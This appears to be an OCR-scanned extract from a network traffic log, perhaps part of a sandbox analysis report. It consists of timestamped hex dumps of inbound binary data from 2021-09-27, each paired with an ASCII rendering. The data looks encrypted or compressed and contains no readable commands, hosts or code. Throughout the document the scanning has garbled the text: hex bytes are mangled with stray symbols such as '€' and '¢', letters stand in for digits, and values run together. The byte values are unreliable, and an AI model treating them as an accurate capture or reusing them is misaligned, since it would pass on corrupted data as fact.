Data Ascii: -ZR 2!V2=7@ kFR<6/nlw{2005vY)}Ti/Gm|tL B-ONP@Vb(y\co#=f%Spu ur~N6y7MC!O/XXT>3![m[KgE5e2g
iGjUzK"t<mPAn

2021-09-27 16:55:59 UTC 157 IN Data Raw: af bb b3 21 93 7f 15 36 01 d1 0d f3 02 46 36 14 ca 50 af c1 7a 65 7b 87 fO 4e ba 28 ce c6 40 5d 1b ae c7 e6 45
9a 26 62 63 db 66 €7 13 c2 4b ea 9d 5d de 51 5d 67 f8 4e 14 aa b6 3e 8f ab 8b 81 05 c4 c4 8c d5 e8 a6 16 19 07 28 03 bb
d2 1330 c4 3c 3383 2e 052997 e8ad cd 71 05 8b 44 71 88 c¢6 €6 03 89 29 13 71 6¢ 21 e6 02 21 fc ff b3 68 cd e2 ad 33
2e 4e 85 d3 9e 92 08 66 9f 3d Of c4 44 c6 69 41 34 d1 6f 81 el 2b 8c 1d 3f fa 1d 51 bb 8d 30 38 c7 53 a8 cb e5 ce ef 68 €9
5b ba d5 df d6 45 77 14 d4 92 40 ee 06 c5 c2 11 11 86 2a e4 ad 3f 1b 4c 44 b4 17 9c a6 15 9f d9 ce 9f df 99 4f 99 e0 cb fd
65 ba 79 e5 95 3d 68 45 a4 ef 77 7c 73 66 b5 74 5f cd 82 bb 82 b9 8d da c7 73 ba 6¢c 01 01 d7 c6 d7 1b f2 f1 21 8b 9d c4
04 f6 3e f0 41 df 20 bb 3f fc 1a be 73 92 8¢ 9d
Data Ascii: 16F6Pze{N(@]E&bcfK]Q]gN>(0<3.)qDq)ql!'h3.Nf=DiA40+?Q08Sh[Ew@*?LDOey=hEw|sft_sl!>A ?s

2021-09-27 16:55:59 UTC 159 IN Data Raw: 85 27 70 4a 81 d5 c¢7 25 47 84 1d 17 9a b3 18 fb 1c fb 73 90 ac 1e 46 94 0d 71 O fb 25 cb 2e 88 32 d4 be 66 43
49 0d aa 38 b7 7c 16 d3 a7 a0 99 b3 7b f4 be 76 16 dd 71 19 62 24 47 7e 64 21 75 b1 fc f4 75 fc 68 07 38 8a 5b c3 d3 Ob
7c 12 el lac2 61 b0 4b 42 2544 85 21 4c f5 cf Oc a8 f2 76 ¢8 67 c9 04 bb 7a 33 a7 61 2d f4 61 b6 05 b7 fa 77 38 7c b7
d6 a2 13 83 07 2d 09 98 ae 54 5f ¢7 97 22 46 1e 77 15 2a 28 b7 b5 a6 be 5b d4 02 f1 14 6 3d be bb b3 cb 5a 2d 9¢ 88 5a
b4 c0 9b 79 52 3f 16 63 ad 18 €9 d7 b8 c4 cf 38 92 84 Oc e 7 58 ea 37 1c 99 3e 97 26 6b d2 ed 15 bd 4d 8d e2 b7 77 c2
cf d9 do fe ¢3 72 f3 79 16 71 34 8f Oc 44 8f a3 1a 15 7b 77 59 66 1a c4 52 1c ce 25 6d 63 77 e0 59 9e ea 35 54 51 47 2¢
99 30 a6 fa de 91 59 a4 3b 09 c6 f6 90 db af 4b 59 15
Data Ascii: 'pJ%GsFq%.2fCI8|{vqb$G~d!uuh8[|akKB%D!Lvgz3a-aw8|-T_"Fw*([=Z-ZyR?c8X7>&kMwryq4D{wYfR%mcwY
5TQG,0Y;KY

2021-09-27 16:55:59 UTC 160 IN Data Raw: 04 24 88 08 ec f4 a3 8d ¢3 12 cb cb 1a 6c 34 d9 3a 18 44 db d9 a9 58 0a 53 1c 84 al 5b c2 f6 11 96 3b b9 90
€710 ed dO b8 07 bd Oe 1b dd 23 48 97 al 11 34 a4 2a f1 8d aa 8c a9 6b al 10 el 8f 92 b7 1d 23 Oa ad 82 63 d3 63 b2
b3 6f 35 f6 6¢ 96 db 5d 22 4f 74 ab 19 9d e7 4e 93 df ¢3 87 d1 f0 15 ef 92 d2 ef 5b ca Ob ef be 08 40 68 9e 8d 1d 50 07 02
d4 70 9a 00 60 7a 45 79 45 3b 06 e3 7f bd d5 de 14 1f 4f df 3d 35 f5 12 10 11 ec la fd 33 de 36 eb 63 d1 1a b2 03 b3 5a
715c 65 22 78 53 9e 54 68 18 55 76 fe c8 3e cc 55 ab 37 f3 7c 5 ce 68 82 ec 4d 40 69 94 c7 a4 bc 48 3e 75 d1 al f8 06
b6 f2 a5 ba 20 0f d8 78 00 96 46 6e b9 d4 c5 57 10 e7 95 c9 4c 87 a8 ca 02 58 86 eb 2f 78 d3 47 6a 9e a9 32 42 3 2d f9
b2 6¢ 8e a3 9a be ea 59 45 08 9e fd 4c 6f 4f 78 1d 29 59
Data Ascii: $14:DXS[;#H4*k#cco5I]"OtN[@hPp zEYE;0=536cZq\e"xSThUv>U7|hM@iH>u XFnWLX/XxGj2B-IYELOOX)Y

2021-09-27 16:55:59 UTC 161 IN Data Raw: 12 84 31 f8 49 a5 3 6¢ f6 a9 Ob e7 6a bc Ob ca 60 29 7e a2 97 fe 44 94 1b 29 19 9e 0d 96 26 ba ec 53 f5 d9 03
c2 8e 55 cd db d4 c6 23 a4 da 7f 51 bf 7d ee 2d 20 b3 36 fc 63 bc 6a d4 ad d7 2d 1d 39 17 6a ad Oa ef fb ba be d4 2e db
9d 77 €9 8d 7d ea 54 60 ed 1a 93 1d 74 c8 f2 33 dd d8 12 78 3b af Od 42 12 02 10 28 e2 40 ce e fb ac 25 f8 eb 24 6a b8
b5 d7 d0 ed 98 al 70 bb bc 57 ab 88 ca c0 05 db 0d 76 d4 fa el fO0 9c 1b al 71 fd d9 c¢7 10 al 05 3c fa e5 a0 e2 98 05 7¢
2491 87 cb ef c0 39 0d 28 96 2b 30 c7 f5 63 8¢ 80 d0 36 €0 d1 de 17 e6 22 9d 87 39 f8 51 9f a6 7e 46 3c 54 f2 64 94 70
2490 64 44 c2 b7 c7 99 b3 66 bc eb 13 42 84 76 ff ¢5 b7 ab ed 52 9a 19 8e e2 30 95 17 17 df bl 8f b8 a4 dc c2 6¢c 4a 26
e7 1a 8afb 15 95 8e af 99 97 25 70 6d e4 d9 db 6e 41
Data Ascii: 111j")~D)&SU#Q}- 6¢j-9).w}T t3x;B(@%$jpWvq<|$9(+0c6"9Q~F<Tdp$dDfBVROII&Y%pmnA

2021-09-27 16:55:59 UTC 162 IN Data Raw: 09 9b 77 81 af 28 7a 2b 9b d7 de c5 d4 90 1b 00 e6 b6 19 c9 8a f0 7a c9 95 07 6b 8a 7d 46 bb 8b 4f ac 7b 8f 2d
cc bf 13 ¢6 71 09 96 18 98 50 1a bd d1 ff e2 9a 55 c8 f6 c0 05 d0 fc 36 53 06 41 1c 33 69 d9 5¢ 3b 25 b6 32 ad c6 ad 68
cc 59 7e 5¢ Ob ed 20 ce 5a 95 6f 67 93 f7 b9 50 30 8f 23 58 f5 7c 18 90 1c 99 72 e5 53 d9 4c 44 95 c3 41 86 40 el 6b 2e
9f c4 96 49 6a 72 15 7b fb dd 6a 6¢ f9 66 8 49 19 ac 75 6e f3 3c 78 a2 3d 3f 2e 34 d1 5e 30 bd 9c 7e bf 32 82 d1 0d dc 1e
d1 71 da 38 4c 22 83 a8 c5 €5 99 57 e2 3d 2d 48 5a Oe d1 28 60 97 66 Ob a4 6b ce ea 6¢ cd 1f 8d e7 34 66 bd 4f 55 9c e6
a2 6d c2 dc df cf dO 75 60 88 Oe 5d 37 61 d9 5f 14 db d0 9d 6e 38 2b 27 28 a0 98 5a 40 3e 57 cd 3d 3b bf 10 f1 dc 46 13
04 0c 5f 50 63 ¢9 b2 37 cd 99 ce 4e 77 6e 84 7a b9
Data Ascii: w(z+zk}FO{-qPU6SA3I\;%2hY~\ ZogP0#X|rSLDA@K.ljr{jiflun<x=?.4"0~2q8L"W=-HZ(*fkl4fOUmu’]7a
_n8+'(Z@>W=;F_Pc7Nwnz

2021-09-27 16:55:59 UTC 163 IN Data Raw: 67 8a al 51 23 66 86 14 fe 41 a3 3a €6 2b €3 02 2b e7 27 f2 Oe 28 7b f6 d9 8f 50 12 67 be a0 9c 76 ce d8 26
ae 1e 9f 3b c9 bb d1 20 56 a3 69 aa d1 08 fd 54 6f {8 2 dO 6f 7a 2c 45 7f 52 67 Oe 7e c3 2b 55 4d fc ea c7 ae 5e 56 ce 36
€8 78 6d 9b 00 28 f2 78 0d ac 2c c8 ab 06 93 31 db ed 57 69 53 2b 1e 05 a5 33 5e 6a 13 fc 66 ¢7 45 38 12 c1 9d 15 08 9b
eac7 a3 14 d1 10 ed dc 7c c5 f5 d3 67 8f aa f3 38 50 fc 8e dd d7 60 9e 23 7a 9b e5 8b 53 b1 43 bc 01 b7 4b d9 58 82 60
fd 22 ¢5 e9 48 97 8e a6 2b 4f db el a5 ee ¢8 93 1d 50 b4 1b 57 50 ba 2c b7 be a6 db 21 Ob 3a 20 fe ba 6c¢ fc 1c 77 5a f2
ef 95 45 f5 a2 ba d1 6a 56 94 5¢ 77 73 30 09 ce 10 a6 17 6f 8b c4 f6 05 f4 f9 86 55 a0 e5 87 68 2d 83 b2 26 31 84 6f 5d 6e
16 69 99 75 90 8f c4 16 d8 7e 6¢ d1 a0 3c 63 58 61
Data Ascii: gQ#fA:++'({Pgv&; ViTooz, ERg~+UMAVEXmM(X,1WiS+3NfE8|g8P #zSCKX "H+OPWP,!: IwZEjV\ws0oUh-&
1lo]niu~l<cXa
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2021-09-27 16:55:59 UTC 164 IN Data Raw: f5 7d 13 87 1d 45 27 e7 53 d9 d5 b2 93 c¢3 02 9e 40 f8 16 f2 9e c6 90 49 6a 05 e4 79 fb cO fd 4a f8 b8 d0 4c 19
ac 6¢ 89 d3 3c 79 bf 3d 16 2d d3 d0 5b 3b ac 9c df b5 32 82 cc 4d f5 1f 3c 09 d8 38 4c 2b 9d 89 c5 ec 84 57 d4 12 c2 49
58 24 d1 28 ab 92 66 Ob b9 6a f6 eb 9a c4 1d 8c e7 79 f1 bc 4f 5¢ 9d e4 9a 66 3a dd dd cf dO e9 3b a8 Oe 5d 2a 61 e6 54
ec dc c2 47 4b 2a de 18 39 58 9d 48 03 ab 45 37 27 29 bf 34 88 be 65 19 19 11 30 fd 4e cd b0 8b cc 17 cd 4d 77 bb b5 el
ef d4 03 2a 63 d8 c9 a6 11 a0 74 5b 66 c5 24 63 9e b5 20 d5 c6 81 41 8d b1 b2 7b 80 0Of fe fc 51 94 22 b7 cb c0 1c 48 13
€9 57 bf 01 55 fb 12 37 bf ¢3 d7 ee c9 10 d5 fb 6d 5e 91 7f c9 c8 a6 bb 09 6¢ 8e 1a e7 e0 54 8¢ 03 15 c3 bb 96 al 31 d9 d7
6f 23 32 87 0b f7 90 6d ff €8 ce e2 d4 4e 11 07 f9
Data Ascii: }E'S@IjyJLI<y=-[;2M<8L+WIX$(fjyO\f:;]*aTGK*9XHE7')4eONMw*ct[f$c A{Q"HWU7mAIT1o#2mN

2021-09-27 16:55:59 UTC 166 IN Data Raw: 70 66 67 7d 51 07 53 27 54 b6 91 36 4e 75 8b 8d 6a bc 05 d6 9c 80 54 7b d5 5d 8a a3 67 03 fa 9e b6 93 37 94
3843 4b d7 07 44 67 8 86 Oe 51 22 8b 35 a9 10 0a f6 b0 2d dc 6b b4 c4 fa 69 d2 cO d3 1a 89 b6 8b 43 88 Ob a5 fe 30 bl
834 b3 8b ee 73 90 a6 b0 a8 25 c1 ba e6 3a 36 d3 98 f7 71 1b 64 55 ee df db 45 e6 fe e6 67 ce 51 al 11 2d 68 dd 09 fb
8d fb bd b6 8c f1 a3 73 5e c9 87 60 le 83 2d 83 2a b6 1a 6e 2a 30 7a 68 eb 60 67 d4 71 a5 fb dd 8b bf 7e 7f 2f el 27 ee
53 2f 57 6d 98 el bd ec 00 23 10 c9 07 3b 10 11 6c 0d 56 ff c8 e4 88 c1 aa 77 54 e4 5a €9 67 2b c8 93 aa 3c 86 07 47 35
45 30 3f a6 76 3c d1 48 45 de 31 3a 8a d8 9d 51 23 70 18 46 4e d8 c3 21 46 86 59 42 80 39 51 48 af da db 26 2a 4c 66 59
88 8e f5 a5 bd 6¢ d5 0a f3 e4 76 el 4a 67 2e 7c b6 1b 37
Data Ascii: pfg}QS'T6NujT{]g78CKDgQ"5-kiC0s%:6qdUEgQ-hs""-*n*0zh’gq~/'S/Wm#;IVwTZg+<G5E0?v<HE1:Q#pFN
IFYB9QH&*LfYIVJg.|7

2021-09-27 16:55:59 UTC 167 IN Data Raw: 50 5a 9c 71 a3 5e c0 da df 38 d6 dO 71 8f Oe ab 36 53 db 53 14 4a c1 74 67 2c 2b 8b 38 4d ac 4e 50 3d 46 25
27 2f bf a3 e1 88 67 1f 04 86 7a ef 44 c9 b2 7c da 04 e9 4e 77 2c a9 d3 al d3 Oe ec 60 cb cb a0 b2 7c 72 69 79 c3 69 4f
83 a4 20 d2 c6 45 10 ba b3 b4 7a 74 43 ec e0 55 96 Oe b0 f9 Ob 2a 48 bd cf 46 €0 06 4b 91 1a 25 bd c5 ad 7c ¢8 03 bb ff
0b 83 86 6e cl cf a6 2c fb 4f 8c 1c 96 15 22 9e 1f 11 d1 7e 97 b2 81 da c7 8 53 20 fc Oc €9 05 66 cc ea c8 ff 72 4f 02 74
fac3 7e 1b 24 5¢c 81 e0 8b el c3 84 ad 28 32 af 58 f2 f8 d5 17 bc bc f2 fb ¢6 c0 f9 f2 62 5e 34 2a 6d 38 21 0Of 4e e3 ae b8
cb f9 57 22 01 e0 c3 08 €8 14 c0 92 5¢ 5b 17 bd c2 88 1b fb 10 7d 6a 9e 24 de 1a cl 7d f2 83 43 da Oc 37 5d ec 69 3a d9
al 34 b5 b7 a9 af 2b 85 cb ae {7 de bf 1b Oe 19 13
Data Ascii: PZg"8q6SSJtg,+8MNP=F%'/gzD|Nw,|riyiO EztCU*HFK%]|n,0"~S frOt~$\(2Xb 4*m8INW"\[}j$}C7]i:4+

2021-09-27 16:55:59 UTC 168 IN Data Raw: 76 a7 el c8 a6 c3 84 fc b0 7 59 46 94 99 7a be 20 1d ce e6 d9 3d 72 8d c4 aa 25 49 e5 28 5f 15 d5 d1 00 2b
83 05 38 bc 9e ea 5¢ 1d 3c f2 be 3f e6 e4 db 8d c2 6e 6¢ 00 b0 b7 72 45 61 64 4c 18 16 bb a2 09 75 67 Ob d9 7d 18 47 9c
57 51 b1 d7 b2 1e 37 6f 38 04 b9 cd 47 70 1c d7 c5 2a 54 92 49 cf 62 9b e7 21 e8 el 13 51 d7 47 90 38 6¢ fd c6 41 14 2b
26 8c f1 4c 96 dc 77 d0 e6 89 0d 6b 64 c6 bb 1d ea c4 70 aa 88 65 17 61 d9 6a b4 a9 22 ca 5¢ 73 23 e0 af 43 46 b9 ea 91
5c 22 74 1d c4 7e e6 ab 3e 83 78 be 64 3f 78 90 f5 88 9c ¢7 30 9b 77 97 af 57 79 ad 99 cd de f1 d4 90 1b 23 98 a0 19 6b
09 2b 78 9b a0 47 ef a9 2e 32 c9 f4 21 5¢ 09 65 2f d6 bf cb fb 71 09 86 18 8e 50 51 8 5f b4 bc 9a c1 4d 92 79 05 dO 06 1a
a4 00 12 56 45 06 bb 5c 3b 25 36 32 bb e6 38 69 69 5f
Data Ascii: VYFz =r%I(_+8\<?nlrEadLug}GWQ708Gp*TIb!QG8IA+&Lwkdpeaj"\s#CF\"t~>xd?x0wWy#k+xG.2!\e/qPQ_
MYVE\;%628ii_

2021-09-27 16:55:59 UTC 169 IN Data Raw: 2c 6d 13 7c 77 e2 00 4b f9 1e 2e af e6 be eb ec 10 dc 63 Ob 5f 8f 7d d0 c9 31 ba 1c 53 ab 1a ae 79 24 8d 1d 17
c0 ba 61 a7 05 dc 2 6f b2 ae fe 0Oa €9 92 76 fe 2c cf 19 ea 6b 11 42 64 c3 e9 1a 34 4f 80 cd 7b 61 d3 a3 ac 74 57 ae 48 fO
f9 c4 3a 2c ad ad ed €3 57 60 b0 63 58 34 bd 7d 99 b1 08 c5 64 8a 25 ac 49 56 21 01 9f fe 1b 1f 10 4b c9 7b 48 a3 9e c2
bd 19 ab 36 65 7a bb 37 d8 27 d1 9c 45 83 42 da 54 04 5d 7b 68 da cf 9c 24 7c 02 a9 ae 2b e5 fd ae 60 df af 01 30 0f 22
90 90 fa 2b 10 dd 1f 90 a6 39 25 28 4e 4d d4 09 b3 96 54 9a al aa 05 ee 99 34 fe af 10 al fc 2d e3 el 30 b8 3c a6 1f 10
69 2e 55 89 50 31 66 34 a2 8c 53 44 fb 04 b6 ac bd a9 c2 20 cb 20 4e d1 52 e3 d5 24 fd dd f7 73 d4 db 6d €9 31 d2 7e al
75 d3 5a 5b 87 53 4d 68 cd e2 9d a3 50 77 28 aa 5e
Data Ascii: ,m|wK.c_}1Sy$aov,kBd4O{atWH: W cX4}d%IV!IK{H6ez7'EBT{h$|+ 0"+9%(NMT4-0<i.UP1f4ASD NR$sml
~UZ[SMhPw(*

2021-09-27 16:55:59 UTC 171 IN Data Raw: 58 0f e0 ed 36 e8 69 79 51 24 45 80 25 46 0a 98 af 1e 3c 26 98 9c 4c 01 dd c2 dd cc 4d dc b9 6e d1 bb ad 87
c4 49 98 6e 71 3d 97 €0 52 b9 be 22 ca 4f 73 d5 61 74 4e 4c 2e 53 90 51 35 74 1d d7 7e a7 2d ce 83 72 29 95 27 75 87 f5
a4 0c c7 a7 9a 5a 9d 85 2c ca 61 9a d7 de 69 44 90 ed 22 78 b4 33 c¢5 da db 7b 81 a0 07 78 a9 fb 06 39 f3 Ob cb 64 a3 2c
cc bf 47 6¢ 71 62 80 e8 89 7a 39 ca ab b7 a6 9a 55 db 92 86 31 20 01 30 53 e2 53 5f 5f 06 bb 4f 3b b2 b7 e4 bl ec af 10
fe 52 29 e3 a8 c1 29 9b 5b 65 7e b7 92 50 8d 47 f4 8f 22 4b f5 e6 17 61 0d b3 26 05 66 d8 d5 45 95 d0 02 2d 41 11 06 04
9f ec a7 48 6a 72 e0 68 fb 19 e8 b7 fb 4c d1 3d 2e ad 6¢ 6e f3 2d 79 Oc 3a 89 28 1e d1 ea Oc bd 9c 7e bl 34 9a c1 68 cf
le fb 08 66 Of 4d 2b 83 a8 83 ee f0 58 62 Oe 07 48 37 1le
Data Ascii: X6lyQ$E%F<&LMnIng=R"OsatNL.SQ5t~-r)'uZ,aiD"x3{x9d,Glqbz9U1 0SS__O;R))[e~PG"Ka&fE-AHjrhL=.In-y:
(~4hfM+XbH7

2021-09-27 16:55:59 UTC 172 IN Data Raw: Ob 75 af 25 cc ec 5e dc 1a d6 ee 4e e8 ca 85 d8 5e 48 17 ba ca b4 05 6b 30 28 6a 76 61 d9 02 d1 58 e7 8b 78
d4 7c 09 Ob ec 75 7c de b9 24 90 a2 al e5 25 cb 5 f8 f7 f6 f9 Ob 16 Of 36 29 88 ec Oe 96 cb 48 07 13 2d 34 Oe 4e 6d 7b 11
a3 b3 47 8c f6 5d 73 7f 9a 12 fe d3 aa al 6b 2c 6¢ €9 67 7c 5d b8 0f 36 69 f2 ee 89 ¢7 30 d0 21 ed 9a ce 8e fa 22 b6 18 8¢
a9 55 21 7d 38 01 c1 cb bd d4 02 fd 9d 4a 73 43 da f1 fe 66 45 77 1f 65 f5 5a c¢3 3a 53 da 69 09 ef ca 54 e2 a5 39 8¢ 5e 4f
9d 91 16 a3 72 2f fb 9e af 91 1e b1 31 51 f6 23 e7 70 f8 67 7c d1 fe 1a 6b 4a e0 11 d3 4f af 94 31 e8 45 02 73 d3 d7 d4 13
d7 16 8c e5 c2 c3 ec 84 a8 bd 63 e8 3e 50 49 87 8f 46 6a d7 99 0f d1 89 df 52 b7 46 8a 34 b9 e9 ce ba b4 04 fb 4a 82 cO
d3 8d 88 a0 81 4b 97 b5 a2 b9 32 2c d1 62 b2
Data Ascii: u%""N"HKkO(jvaxx|u|$%6)H-4Nm{G]sk,Ig|]6i0!"U!}8JIsCfEweZ:SiT9"Or/1Q#pg|kJO1Esc>PIFRF4JK2,b

2021-09-27 16:55:59 UTC 173 IN Data Raw: 19 ¢5 Oe e6 7a 16 al 76 4f dd 2e 6e 59 e3 21 cb 08 89 2d 5b be c0 5b 04 09 26 88 99 50 39 fa 82 b6 31 9b cf
ec e4 79 d9 40 11 1a 53 06 63 5e a8 00 21 78 4c 25 06 a3 ac c6 af 68 ca 53 de €5 6f f6 51 c0 c2 07 6e 9d 92 c4 bf 46 03
89 31 58 8¢ 7c d5 05 1d 99 26 €5 55 d9 11 44 9f e6 7b 83 98 77 16 2e 9f c4 96 49 fd 73 ca 5¢ 82 dd 39 fb 8 66 d1 49 1f ac
fb 6f c1 19 00 a2 c1 a8 2d 34 d1 5e 3a bc 6b 78 83 17 fb d1 bd 44 1f d1 08 da 3e 4c bc 82 c2 e0 95 99 6b 7b 12 2d 48 5a
32 d1 bf 61 0f 43 71 a4 12 54 eb 6¢ c5 1f 8c e7 ee 67 Of 6a 26 9c aa 39 66 c2 dc df ce d0O 7e 72 5b 2b 27 37 b9 44 54 14
dd c0 46 4b dd 2d ce 1c 22 80 d0 el ab 47 35 25 28 bf a3 el 75 40 63 04 5 da fd 46 cf b2 8a dc 80 ea 4d 51 c1 a8 29 06
d4 Oe 28 61 d9 c9 31 b3 91 52 21 7b €5 c0 63 84 b7 22
Data Ascii: zvO.nY!-[[&P91y@Sc xL%hSoQnF1X|&UD{w.Is\9flo-4":kxD>Lk{-HZ2aCqTlgj&9f~r[+'7DTFK-"G5%(u@cFMQ)
(alRNc"

2021-09-27 16:55:59 UTC 175 IN Data Raw: 3d 92 0d 67 79 el ff f4 50 8¢ 9f 24 ba 9a 76 c4 e3 32 93 d8 9f d4 c2 94 e9 26 56 c1 77 f6 cd 12 d8 8e 5b Oe d4
3b 94 fb 31 45 7f 52 6¢ d1 57 8a 2a 2e 4d 7c 37 f0 9d 54 56 84 31 bd 53 8f 9b f4 06 a6 9b 2e ac 9e e7 dc 17 1b 38 18 e6
5e 70 25 d1 78 2b d1 2a 57 62 fd e9 d1 c0 32 38 f5 21 eb 12 02 9b 81 de 68 10 9e 11 e9 f5 73 25 f2 d3 a8 95 32 el fa 53
89 81 fa d3 c6 64 99 58 d1 d5 8e 5b 3c 65 ¢3 33 cc 4b 16 80 b5 53 fb 22 d3 c9 44 ae 48 a6 f4 42 55 06 a2 ee 32 b0 85 7b
a2 3e 8b 75 ed 31 4d 44 3a c0 ba 11 2a 20 5a 98 80 ca 67 77 fe 13 d8 a6 43 f5 6d b0 e4 59 d4 b8 73 7b e7 d6 Oe ce 92 ad
ab 72 lac5 5a 27 a3 e4 a4 a9 00 d5 ad 75 bd 83 f2 3e 4c 9¢ 00 5d cd ca e6 bc 73 90 72 db 49 ¢3 9e 6e 50 b7 e8 85 53 61
48 3b 8e 16 96 a5 f9 77 ed 0d 60 89 Oe 47 ec 20 c7 bl
Data Ascii: =gyP$v2&Vw[;1IERIW*.M|7TV1S.8"p%x+*Wb28!hs%2SdX[<e3KS"DHBU2{>ulMD:* ZgwCmYs{rZ'u>L]srinPS
aH;w'G
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 176 IN Data Raw: 17 39 84 22 92 34 6a 1b e4 7b fb dd fd fa f9 02 d5 af 1b d1 6¢ eb f7 3e 79 a2 3d a9 2c d1 ce b8 39 c1 9c df b5
3082 d1 4d 4a le 5f Oc 3c 3a 31 2b 3fac c7 ec 99 57 74 13 2f 69 bc 26 ac 28 b7 92 64 Ob a4 6a 58 ea d4 c1 f9 8f 9a 79
94 b9 4d 5¢ 9c e6 34 67 {7 fd 39 cd ad €9 7e 8¢ Oc 5d 37 61 4f 55 f6 d9 26 45 36 2a 03 19 3b 58 80 48 d6 aa d8 14 c3 2b
c234a49 671904 11 edfc55ca5489al 17 8b4d 75 bb a8 el 35 d5 71 0d 87 da b4 a6 ce 8e 76 5b 7b c5 ff 62 b9 b2
c4 d6 bb 81 89 8d b3 b2 7a 82 d4 ff ea 7f 70 21 ca cb bd 29 4a 13 c¢8 55 74 00 2c fc fe 34 c2 c3 7d ee cb 10 a4 f9 9d 5f 6f
4d 25 cb db bb 11 59 8c 1a 96 e2 b2 8d 82 12 37 b8 eb al 84 da d5 6f 52 30 68 Oa e3 a3 81 fc 95 ce dd e3 4c 11 76 fb 55
€9 d3 31 hb8829d 7c d9 d5 84 ac 28 f6 38 48 c4 c8
Data Ascii: 9"4j{I>y=,90MJ_<:1+?Wt/i&(djXyM\4g9~]7aOU&E6*;XH+4gUTMu5qv[{bzp!)JUt,4} oM%Y 70ROhLvU1|(8H

2021-09-27 16:55:59 UTC 177 IN Data Raw: 01 7d 80 ab d4 6d d8 12 94 f5 e7 49 f3 32 be 73 33 94 3e f0 46 83 87 d3 66 08 98 33 d2 33 8f 2e b7 87 85 30
b1 4b c2 ec b4 4d ec c4 d2 bc d3 6e 87 a4 89 42 88 6a a3 7b 31 56 81 le b2 1e e3 70 90 31 b1 28 3b 88 ad 7 3e 5d cd bf
e7ed 1a 77 4a7e d9 79 40 13 fe cd e7 1e 40 96 Oe 7b e8 bc Of 41 8a 4b 3f Of 8d ac ac 27 de e4 80 c3 01 dc a9 93 29 fe
05 b2 ba 9c 7d 5d f4 a0 e7 e7 69 76 e6 a6 8d 69 68 6e 2d b7 a7 ef 52 52 4c dd 1a 6b bb 6e Of 77 90 0d 06 e3 0f 5d {7 c6
53 cc d7 5f 18 35 ab 39 4b 24 da 20 64 83 d5 b8 2a 5a 95 4b 58 63 c5 7a 36 00 76 8¢ 53 aa 47 bf 3f 6e 0a c0 89 89 3c b7
9c 69 4e eb dc 27 d7 e4 4d Oc 9f f9 d1 be 8c 72 c6 0d aa f9 62 15 97 d8 75 2e be 99 ce ba 71 5e 60 3c 44 64 2e eb b7 c6
35 4c 3¢ 22 7c 9b 2b 8b 83 5a 29 65 Oe e2 87 10 a0 f9 c5
Data Ascii: }mI2s3>Ff33.0KMnBj{1Vp1(;>wl~y@ @{AK?")}livihn-RRLknw]S_59K$ d*ZKXcz6vSG?n<iN'Mrbu.g”'<D
d.5L<"[+Z)e

2021-09-27 16:55:59 UTC 178 IN Data Raw: e3 f7 30 ea 3d 38 18 d0 6b 8f ff f3 46 33 66 25 ba Oc 76 94 8 c4 b4 65 9f 32 d4 22 cb 26 56 57 77 9 c2 e4 ff e0
5b ce c2 d9 6d fa 31 d3 7f d1 67 13 58 be 2b 8¢ 5b 6a cd f1 9d c2 56 b4 2e 6a 5¢c 32 9b 88 11 84 61 2f ac 08 e7 75 1c 57
332ce7 0167 732b 79 2b47 2ae7 7d ac e2 6¢ c0 Oc 2f 97 db ea 12 94 9b 76 d5 32 11 aa 10 fO e2 e5 df f3 d3 3e 95 85
fO d8 52 34 81 02 c4 64 9e 98 58 47 d5 93 57 51 44 f7 32 17 5¢ c0 7a b4 53 6d 22 3f db 35 8f f5 a6 4e 55 8a fc a3 ee a4
b0 cb 67 54 19 8e 72 79 26 b3 be 3b c0 2c 11 fe 3f 2b 9b 8a e6 10 6f 48 €8 d9 a6 d5 f5 80 b4 01 5b 2d 94 25 63 ea 2a Of
ce 04 ad d1 52 6b c6 c1 25 93 fc 82 55 01 d5 3b 75 8d 87 e3 3a d7 9e 13 45 f6 36 €7 bc e5 90 c7 fa 6b c0 05 6¢ bd af a5
7952 61 de 3b c8 12 5d a0 62 75 21 15 04 75 Of 47
Data Ascii: 0=8kF3f%ve2"&VWw[m1gX+[jV.j\2a/uW3,gs+y+G*}/v2>R4dXGWQD2\zSm"?5NUgTry&;, ?+0oH[-%c*Rk%U;u
:E6klyRa;]buluG

2021-09-27 16:55:59 UTC 179 IN Data Raw: 02 15 40 1f 16 ¢8 9d b9 90 e3 48 70 e0 79 fb 4b fd da fe 80 d3 34 19 67 4e 6¢ f3 3c 79 34 3d 45 2e d2 d3 23 3b
50 be 7c bl 32 82 47 4d 38 17 37 0a a7 38 42 08 81 a8 c5 ec 0f 57 45 11 cb 4a 27 24 el Ob 62 96 66 Ob 32 6a ee fe 8a c7
62 8d b5 5a 64 bd 4f 5¢c 0a e6 73 65 24 de a2 cf a4 ca 71 89 Oe 5d al 61 bl 41 f2 df bd 47 dd 09 29 1c 39 58 16 48 bb a8
al 375829 07 17 e2 9b 65 19 92 11 b7 €9 a0 cd cf 8b 06 34 €9 48 77 bb 3e el 86 d6 €8 2a 1c d8 35 85 b0 8b 74 5b ed
c5 a6 74 62 b5 5f d4 d8 a5 13 88 b1 b2 ec 82 1b fc 04 51 eb 23 7 ef Ob 2¢c 48 13 5e 55 ee 17 ad fb 65 36 dd e7 af eb c9
10 32 f9 88 5¢ 69 7f be c9 22 9f f8 5¢c 8e 1a 00 e2 12 9a fb 15 ac ba 30 85 81 dc d7 6f c4 30 53 09 0f 90 1a fe 20 ea fd e5
4e 11 e0 fb 75 fe fc 36 23 80 0a 58 e5 d3 86 ac be f6
Data Ascii: @HpyK4gNI<y4=E.#;P|2GM878BWEJ'$bf2jbZdO\se$q]aAG)IXH7X)e4Hw>*5t[th_Q#,H Ue62\i"\000S Nub#X

2021-09-27 16:55:59 UTC 180 IN Data Raw: 95 c9 d8 f4 00 e6 82 3f fa 11 d7 10 94 63 e7 e8 f5 35 aa €8 31 e2 11 52 49 81 87 45 66 05 aa be d3 a8 8d 7f 98
44 8a 32 b1 dd c2 1b b2 b5 f9 5f d0 8f fc 8f 88 a6 89 d4 88 09 97 08 30 cd 83 Oc 9d 19 f3 72 90 a7 b1l f1 3a 26 b8 6¢ 3c b0
e2 9b 7 e6 1a el 4a 66 df 40 41 88 fc 02 c8 5b 50 94 Oe ed €8 88 Oe 28 90 d0 3d al a2 c6 bc 25 de 72 80 57 06 33 af 08
2b 76 2a 3aaa 9e 7d cb f4 e2 e6 5a 71 ed e4 cc bd c0 78 6¢ 2d 21 a7 41 55 87 4a 46 18 2f 8b a0 1f 75 90 9b 06 74 0d al
